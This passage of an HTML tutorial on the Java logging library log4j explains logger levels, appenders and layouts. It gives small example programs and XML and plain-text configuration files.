<P xmlns="http://www.w3.org/1999/xhtml">Download <A href="http://apache.rmplc.co.uk/dist/xml/xerces-j/Xerces-J-bin.2.6.0.zip" target=_top>http://apache.rmplc.co.uk/dist/xml/xerces-j/Xerces-J-bin.2.6.0.zip</A> and unzip it to a temporary directory. Copy the files <TT>xercesImpl.jar</TT> and <TT>xmlParserAPIs.jar</TT> to some permanent location and append their paths to the <TT>CLASSPATH</TT> environment variable. </P></LI></OL></DIV></DIV>
<DIV class=sect1 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H2 class=title style="CLEAR: both" xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-Basics xmlns="http://www.w3.org/1999/xhtml">3.&nbsp;log4j Basic Concepts</H2></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">The use of log4j revolves around 3 main things:</P>
<DIV class=orderedlist xmlns="http://www.w3.org/1999/xhtml">
<OL type=1>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>public class Logger</SPAN></P>
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>Logger</SPAN> is responsible for handling the majority of log operations. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>public interface Appender</SPAN></P>
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=emphasis><EM>Appender</EM></SPAN> is responsible for controlling the output of log operations. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>public abstract class Layout</SPAN></P>
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>Layout</SPAN> is responsible for formatting the output for <SPAN class=strong>Appender</SPAN>. </P></LI></OL></DIV>
<DIV class=sect2 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H3 class=title xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-Basics-Logger xmlns="http://www.w3.org/1999/xhtml">3.1.&nbsp;Logger</H3></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">The logger is the core component of the logging process. In log4j, there are 5 normal levels <SPAN class=strong>Level</SPAN>s of logger available (not including custom <SPAN class=strong>Level</SPAN>s), the following is borrowed from the log4j API (<A href="http://jakarta.apache.org/log4j/docs/api/index.html" target=_top>http://jakarta.apache.org/log4j/docs/api/index.html</A>): </P>
<DIV class=itemizedlist xmlns="http://www.w3.org/1999/xhtml">
<UL type=disc>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>static Level DEBUG</SPAN> </P>
<P xmlns="http://www.w3.org/1999/xhtml">The DEBUG Level designates fine-grained informational events that are most useful to debug an application. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>static Level INFO</SPAN> </P>
<P xmlns="http://www.w3.org/1999/xhtml">The INFO level designates informational messages that highlight the progress of the application at coarse-grained level. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>static Level WARN</SPAN></P>
<P xmlns="http://www.w3.org/1999/xhtml">The WARN level designates potentially harmful situations.</P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>static Level ERROR</SPAN></P>
<P xmlns="http://www.w3.org/1999/xhtml">The ERROR level designates error events that might still allow the application to continue running.</P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>static Level FATAL</SPAN></P>
<P xmlns="http://www.w3.org/1999/xhtml">The FATAL level designates very severe error events that will presumably lead the application to abort. </P></LI></UL></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">In addition, there are two special levels of logging available: (descriptions borrowed from the log4j API <A href="http://jakarta.apache.org/log4j/docs/api/index.html" target=_top>http://jakarta.apache.org/log4j/docs/api/index.html</A>): </P>
<DIV class=itemizedlist xmlns="http://www.w3.org/1999/xhtml">
<UL type=disc>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>static Level ALL</SPAN></P>
<P xmlns="http://www.w3.org/1999/xhtml">The ALL Level has the lowest possible rank and is intended to turn on all logging.</P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>static Level OFF</SPAN></P>
<P xmlns="http://www.w3.org/1999/xhtml">The OFF Level has the highest possible rank and is intended to turn off logging.</P></LI></UL></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">The behaviour of loggers is hierarchical. The following table illustrates this:</P>
<DIV class=figure xmlns="http://www.w3.org/1999/xhtml"><A id=id215994 xmlns="http://www.w3.org/1999/xhtml">
<P class=title xmlns="http://www.w3.org/1999/xhtml"><B>Figure&nbsp;1.&nbsp;Logger Output Hierarchy</B></P>
<DIV class=mediaobject xmlns="http://www.w3.org/1999/xhtml"><IMG alt="Logger Output Hierarchy" src="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/files/images/loggerlevels.png"></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">A logger will only output messages that are of a level greater than or equal to it. If the level of a logger is not set it will inherit the level of the closest ancestor. So if a logger is created in the package <SPAN class=strong>com.foo.bar</SPAN> and no level is set for it, it will inherit the level of the logger created in <SPAN class=strong>com.foo</SPAN>. If no logger was created in <SPAN class=strong>com.foo</SPAN>, the logger created in <SPAN class=strong>com.foo.bar</SPAN> will inherit the level of the <SPAN class=strong>root</SPAN> logger, the root logger is always instantiated and available, the root logger is assigned the level <SPAN class=strong>DEBUG</SPAN>. </P>
<P xmlns="http://www.w3.org/1999/xhtml">There are a number of ways to create a logger, one can retrieve the root logger:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>Logger logger = Logger.getRootLogger();</PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">One can create a new logger:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>Logger logger = Logger.getLogger("MyLogger");</PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">More usually, one instantiates a static logger globally, based on the name of the class:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>static Logger logger = Logger.getLogger(test.class);</PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">All these create a logger called "logger", one can set the level with:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>logger.setLevel((Level)Level.WARN);</PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">You can use any of 7 levels; Level.DEBUG, Level.INFO, Level.WARN, Level.ERROR, Level.FATAL, Level.ALL and Level.OFF. </P></DIV>
<DIV class=sect2 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H3 class=title xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-Basics-Appender xmlns="http://www.w3.org/1999/xhtml">3.2.&nbsp;Appender</H3></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">The <SPAN class=strong>Appender</SPAN> controls how the logging is output. The Appenders available are (descriptions borrowed from the log4j API <A href="http://jakarta.apache.org/log4j/docs/api/index.html" target=_top>http://jakarta.apache.org/log4j/docs/api/index.html</A>): </P>
<DIV class=orderedlist xmlns="http://www.w3.org/1999/xhtml">
<OL type=1>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>ConsoleAppender:</SPAN> appends log events to System.out or System.err using a layout specified by the user. The default target is System.out. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>DailyRollingFileAppender</SPAN> extends FileAppender so that the underlying file is rolled over at a user chosen frequency. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>FileAppender</SPAN> appends log events to a file. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>RollingFileAppender</SPAN> extends FileAppender to backup the log files when they reach a certain size. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>WriterAppender</SPAN> appends log events to a Writer or an OutputStream depending on the user's choice. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>SMTPAppender</SPAN> sends an e-mail when a specific logging event occurs, typically on errors or fatal errors. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>SocketAppender</SPAN> sends LoggingEvent objects to a remote a log server, usually a SocketNode. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>SocketHubAppender</SPAN> sends LoggingEvent objects to a set of remote log servers, usually a SocketNodes </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>SyslogAppender</SPAN>sends messages to a remote syslog daemon. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>TelnetAppender</SPAN> is a log4j appender that specializes in writing to a read-only socket. </P></LI></OL></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">One may also implement the <SPAN class=emphasis><EM>Appender</EM></SPAN> interface to create ones own ways of outputting log statements. </P>
<DIV class=sect3 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H4 class=title xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-Basics-Appender-ConsoleAppender xmlns="http://www.w3.org/1999/xhtml">3.2.1.&nbsp;Using A ConsoleAppender</H4></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">A ConsoleAppender can be created like this:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>ConsoleAppender appender = new ConsoleAppender(new PatternLayout());</PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">Which creates a console appender, with a default PatternLayout. The default output of <SPAN class=strong>System.out</SPAN> is used. </P></DIV>
<DIV class=sect3 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H4 class=title xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-Basics-Appender-FileAppender xmlns="http://www.w3.org/1999/xhtml">3.2.2.&nbsp;Using A FileAppender</H4></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">A FileAppender can be created like this:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>          FileAppender appender = null;
          try {
             appender = new FileAppender(new PatternLayout(),"filename");
          } catch(Exception e) {}
        </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">The constructor in use above is:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>FileAppender(Layout layout, String filename) 
          Instantiate a FileAppender and open the file designated by filename.
        </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">Another useful constructor is:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>FileAppender(Layout layout, String filename, boolean append) 
          Instantiate a FileAppender and open the file designated by filename. 
        </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">So that one may choose whether or not to append the file specified or not. If this is not specified, the default is to append. </P></DIV>
<DIV class=sect3 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H4 class=title xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-Basics-Appender-WriterAppender xmlns="http://www.w3.org/1999/xhtml">3.2.3.&nbsp;Using A WriterAppender</H4></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">A WriterAppender can be created like this:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>          WriterAppender appender = null;
          try {
            appender = new WriterAppender(new PatternLayout(),new FileOutputStream("filename"));
          } catch(Exception e) {}
        </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">This WriterAppender uses the constructor that takes a PatternLayout and an OutputStream as arguments, in this case a FileOutputStream is used to output to a file, there are other constructors available. </P></DIV></DIV>
<DIV class=sect2 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H3 class=title xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-Basics-Layout xmlns="http://www.w3.org/1999/xhtml">3.3.&nbsp;Layout</H3></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">The Appender must have have an associated <SPAN class=strong>Layout</SPAN> so it knows how to format the output. There are three types of Layout available: </P>
<DIV class=orderedlist xmlns="http://www.w3.org/1999/xhtml">
<OL type=1>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>HTMLLayout</SPAN> formats the output as a HTML table. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>PatternLayout</SPAN> formats the output based on a <SPAN class=emphasis><EM>conversion pattern</EM></SPAN> specified, or if none is specified, the default conversion pattern. </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><SPAN class=strong>SimpleLayout</SPAN> formats the output in a very simple manner, it prints the <SPAN class=strong>Level</SPAN>, then a dash '-' and then the log message. </P></LI></OL></DIV></DIV>
<DIV class=sect2 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H3 class=title xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-Basics-Basics-Example xmlns="http://www.w3.org/1999/xhtml">3.4.&nbsp;Basic Examples Illustrating this</H3></DIV></DIV>
<DIV class=sect3 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H4 class=title xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-Basics-Basics-Example-SimpAndFile xmlns="http://www.w3.org/1999/xhtml">3.4.1.&nbsp;SimpleLayout and FileAppender</H4></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">Here is a very simplistic example of a program implementing a SimpleLayout and FileAppender:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>import org.apache.log4j.Level;
import org.apache.log4j.Logger;
import org.apache.log4j.SimpleLayout;
import org.apache.log4j.FileAppender;
public class simpandfile {
   static Logger logger = Logger.getLogger(simpandfile.class);
   public static void main(String args[]) {
      SimpleLayout layout = new SimpleLayout();

      FileAppender appender = null;
      try {
         appender = new FileAppender(layout,"output1.txt",false);
      } catch(Exception e) {}

      logger.addAppender(appender);
      logger.setLevel((Level) Level.DEBUG);

      logger.debug("Here is some DEBUG");
      logger.info("Here is some INFO");
      logger.warn("Here is some WARN");
      logger.error("Here is some ERROR");
      logger.fatal("Here is some FATAL");
   }
}
        </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">You can download it: <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/files/simpandfile.java" target=_top>simpandfile.java</A>. And checkout the output produced: <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/files/output1.txt" target=_top>output1.txt</A>. </P></DIV>
<DIV class=sect3 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H4 class=title xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-Basics-Basics-Example-HTMLandFile xmlns="http://www.w3.org/1999/xhtml">3.4.2.&nbsp;HTMLLayout and WriterAppender</H4></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">Here is a very simplistic example of a program implementing a HTMLLayout and WriterAppender:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>import java.io.*;
import org.apache.log4j.Level;
import org.apache.log4j.Logger;
import org.apache.log4j.HTMLLayout;
import org.apache.log4j.WriterAppender;
public class htmlandwrite {
   static Logger logger = Logger.getLogger(htmlandwrite.class);
   public static void main(String args[]) {
      HTMLLayout layout = new HTMLLayout();

      WriterAppender appender = null;
      try {
         FileOutputStream output = new FileOutputStream("output2.html");
         appender = new WriterAppender(layout,output);
      } catch(Exception e) {}

      logger.addAppender(appender);
      logger.setLevel((Level) Level.DEBUG);

      logger.debug("Here is some DEBUG");
      logger.info("Here is some INFO");
      logger.warn("Here is some WARN");
      logger.error("Here is some ERROR");
      logger.fatal("Here is some FATAL");
   }
}
        </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">You can download it: <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/files/htmlandwrite.java" target=_top>htmlandwrite.java</A>. And checkout the output produced: <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/files/output2.html" target=_top>output2.html</A>. </P></DIV>
<DIV class=sect3 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H4 class=title xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-Basics-Basics-Example-consandpatt xmlns="http://www.w3.org/1999/xhtml">3.4.3.&nbsp;PatternLayout and ConsoleAppender</H4></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">Here is a very simplistic example of a program implementing a PatternLayout and ConsoleAppender:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>import org.apache.log4j.Level;
import org.apache.log4j.Logger;
import org.apache.log4j.PatternLayout;
import org.apache.log4j.ConsoleAppender;
public class consandpatt {
   static Logger logger = Logger.getLogger(consandpatt.class);
   public static void main(String args[]) {

      // Note, %n is newline
      String pattern =  "Milliseconds since program start: %r %n";
             pattern += "Classname of caller: %C %n";
             pattern += "Date in ISO8601 format: %d{ISO8601} %n";
             pattern += "Location of log event: %l %n";
             pattern += "Message: %m %n %n"; 
      
      PatternLayout layout = new PatternLayout(pattern);
      ConsoleAppender appender = new ConsoleAppender(layout);

      logger.addAppender(appender);
      logger.setLevel((Level) Level.DEBUG);

      logger.debug("Here is some DEBUG");
      logger.info("Here is some INFO");
      logger.warn("Here is some WARN");
      logger.error("Here is some ERROR");
      logger.fatal("Here is some FATAL");
   }
}
        </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">You can download it: <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/files/consandpatt.java" target=_top>consandpatt.java</A>. And checkout the output produced: <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/files/output2.txt" target=_top>output2.txt</A>. </P></DIV></DIV></DIV>
<DIV class=sect1 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H2 class=title style="CLEAR: both" xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-External-Config-File xmlns="http://www.w3.org/1999/xhtml">4.&nbsp;Using External Configuration Files</H2></DIV></DIV>
<P xmlns="http://www.w3.org/1999/xhtml">Log4j is usually used in conjunction with external configuration files so that options do not have to be hard-coded within the software. The advantage of using an external configuration file is that changes can be made to the options without having to recompile the software. A disadvantage could be, that due to the <SPAN class=emphasis><EM>io</EM></SPAN> instructions used, it is slightly slower. </P>
<P xmlns="http://www.w3.org/1999/xhtml">There are two ways in which one can specify the external configuration file: a plain text file or an XML file. Since everything is written in XML these days, this tutorial will focus on the XML approach but will also include relevant plain text examples. To begin with, examine the sample XML config file shown below: </P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>&lt;?xml version="1.0" encoding="UTF-8" ?&gt;
&lt;!DOCTYPE log4j:configuration SYSTEM "log4j.dtd"&gt;

&lt;log4j:configuration xmlns:log4j="http://jakarta.apache.org/log4j/"&gt;
        
  &lt;appender name="ConsoleAppender" class="org.apache.log4j.ConsoleAppender"&gt;
    &lt;layout class="org.apache.log4j.SimpleLayout"/&gt;
  &lt;/appender&gt;

  &lt;root&gt;
    &lt;priority value ="debug" /&gt;
    &lt;appender-ref ref="ConsoleAppender"/&gt;
  &lt;/root&gt;

&lt;/log4j:configuration&gt; 
    </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">The file starts with a standard XML declaration followed by a DOCTYPE declaration which indicates the DTD(Document Type Definition), this defines the structure of the XML file, what elements may be nested within other elements etc. This file is provided in the log4j distribution under <TT>src/java/org/apache/log4j/xml</TT>. Next comes the all-encapsulating <SPAN class=strong>log4j:configuration</SPAN> element, which was specified as the root element in the DOCTYPE declaration. Nested within the root element are two structures: </P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>  &lt;appender name="ConsoleAppender" class="org.apache.log4j.ConsoleAppender"&gt;
    &lt;layout class="org.apache.log4j.SimpleLayout"/&gt;
  &lt;/appender&gt;      
    </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">Here an <SPAN class=emphasis><EM>Appender</EM></SPAN> is created and called "ConsoleAppender", note that any name could have been chosen, it is because of the contrivity of examples that this name was chosen. The class for the appender is then specified in full, when referring to classes, one always uses the fully qualified class name. An <SPAN class=emphasis><EM>Appender</EM></SPAN> must always have a <SPAN class=emphasis><EM>name</EM></SPAN> and a <SPAN class=emphasis><EM>class</EM></SPAN> specified. Nested within <SPAN class=emphasis><EM>Appender</EM></SPAN> is the <SPAN class=emphasis><EM>layout</EM></SPAN> element which defines the layout to be a SimpleLayout. <SPAN class=emphasis><EM>Layout</EM></SPAN> must always have the <SPAN class=emphasis><EM>class</EM></SPAN> attribute. </P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>  &lt;root&gt;
    &lt;priority value ="debug" /&gt;
    &lt;appender-ref ref="ConsoleAppender"/&gt;
  &lt;/root&gt;      
    </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">The root element always exists and cannot be sub-classed. The example shows the priority being set to "debug" and the appender setup by including an <SPAN class=emphasis><EM>appender-ref</EM></SPAN> element, of which, more that one may be specified. See the file <TT>src/java/org/apache/log4j/xml/log4j.dtd</TT> in your log4j distribution for more information about the structure of an XML configuration file. The configuration file is pulled into the Java program like this: </P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>DOMConfigurator.configure("configurationfile.xml");
    </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">The <SPAN class=emphasis><EM>DOMConfigurator</EM></SPAN> is used to initialise the log4j environment using a DOM tree. Here is the example xml configuration file: <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/files/plainlog4jconfig.xml" target=_top>plainlog4jconfig.xml</A>. Here is a program which implements this configuration file: <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/externalxmltest.java" target=_top>files/externalxmltest.java</A>: </P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>import org.apache.log4j.Logger;
import org.apache.log4j.xml.DOMConfigurator;
public class externalxmltest {
   static Logger logger = Logger.getLogger(externalxmltest.class);
   public static void main(String args[]) {
      DOMConfigurator.configure("xmllog4jconfig.xml");
      logger.debug("Here is some DEBUG");
      logger.info("Here is some INFO");
      logger.warn("Here is some WARN");
      logger.error("Here is some ERROR");
      logger.fatal("Here is some FATAL");
   }
}
    </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">Here is an XML configuration file for a Logger implementing a <SPAN class=emphasis><EM>FileAppender</EM></SPAN> using a <SPAN class=emphasis><EM>PatternLayout</EM></SPAN>:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>&lt;?xml version="1.0" encoding="UTF-8" ?&gt;
&lt;!DOCTYPE log4j:configuration SYSTEM "log4j.dtd"&gt;

&lt;log4j:configuration xmlns:log4j="http://jakarta.apache.org/log4j/"&gt;
        
  &lt;appender name="appender" class="org.apache.log4j.FileAppender"&gt;
    &lt;param name="File" value="Indentify-Log.txt"/&gt;
    &lt;param name="Append" value="false"/&gt;
    &lt;layout class="org.apache.log4j.PatternLayout"&gt;
      &lt;param name="ConversionPattern" value="%d [%t] %p - %m%n"/&gt;
    &lt;/layout&gt;
  &lt;/appender&gt;

  &lt;root&gt;
    &lt;priority value ="debug"/&gt;
    &lt;appender-ref ref="appender"/&gt;
  &lt;/root&gt;

&lt;/log4j:configuration&gt;
    </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">You can download this example from here: <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/files/xmllog4jconfig2.xml" target=_top>xmllog4jconfig2.xml</A>. For more examples of using xml files to configure a log4j environment, see the <TT>src/java/org/apache/log4j/xml/examples/</TT> directory in the log4j distribution. </P>
<P xmlns="http://www.w3.org/1999/xhtml">Here is the configuration file discussed above, expressed in the form of a plain text file:</P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting># initialise root logger with level DEBUG and call it BLAH
log4j.rootLogger=DEBUG, BLAH
# add a ConsoleAppender to the logger BLAH
log4j.appender.BLAH=org.apache.log4j.ConsoleAppender
# set set that layout to be SimpleLayout
log4j.appender.BLAH.layout=org.apache.log4j.SimpleLayout
    </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">You can download it here: <A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/files/plainlog4jconfig.txt" target=_top>plainlog4jconfig.txt</A>. Here is a program implementing this: </P>
<TABLE width="90%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=programlisting>import org.apache.log4j.Logger;
import org.apache.log4j.PropertyConfigurator;
public class externalplaintest {
   static Logger logger = Logger.getLogger(externalplaintest.class);
   public static void main(String args[]) {
      PropertyConfigurator.configure("plainlog4jconfig.xml");
      logger.debug("Here is some DEBUG");
      logger.info("Here is some INFO");
      logger.warn("Here is some WARN");
      logger.error("Here is some ERROR");
      logger.fatal("Here is some FATAL");
   }
}
    </PRE></TD></TR></TBODY></TABLE>
<P xmlns="http://www.w3.org/1999/xhtml">You can download an example program that uses this configuration file here: <TT>files/externalplaintest.java</TT>. For more examples of using plain text files to configure a log4j environment, see the <TT>examples</TT> directory in the log4j distribution. </P>
<P xmlns="http://www.w3.org/1999/xhtml">The use of external example files has only been briefly discussed here, it is assumed that you have the capacity to learn more by yourself by studying the examples provided with the log4j distribution and experimenting. </P></DIV>
<DIV class=sect1 xmlns="http://www.w3.org/1999/xhtml">
<DIV class=titlepage xmlns="http://www.w3.org/1999/xhtml">
<DIV xmlns="http://www.w3.org/1999/xhtml">
<H2 class=title style="CLEAR: both" xmlns="http://www.w3.org/1999/xhtml"><A id=LOG4J-References xmlns="http://www.w3.org/1999/xhtml">5.&nbsp;References (And links you may find useful)</H2></DIV></DIV>
<DIV class=itemizedlist xmlns="http://www.w3.org/1999/xhtml">
<UL type=disc>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><A href="http://jakarta.apache.org/log4j/docs/manual.html" target=_top>http://jakarta.apache.org/log4j/docs/manual.html</A></P>
<P xmlns="http://www.w3.org/1999/xhtml">Short introduction to log4j - Ceki Gülcü - March 2002</P>
<LI xmlns="http://www.w3.org/1999/xhtml">
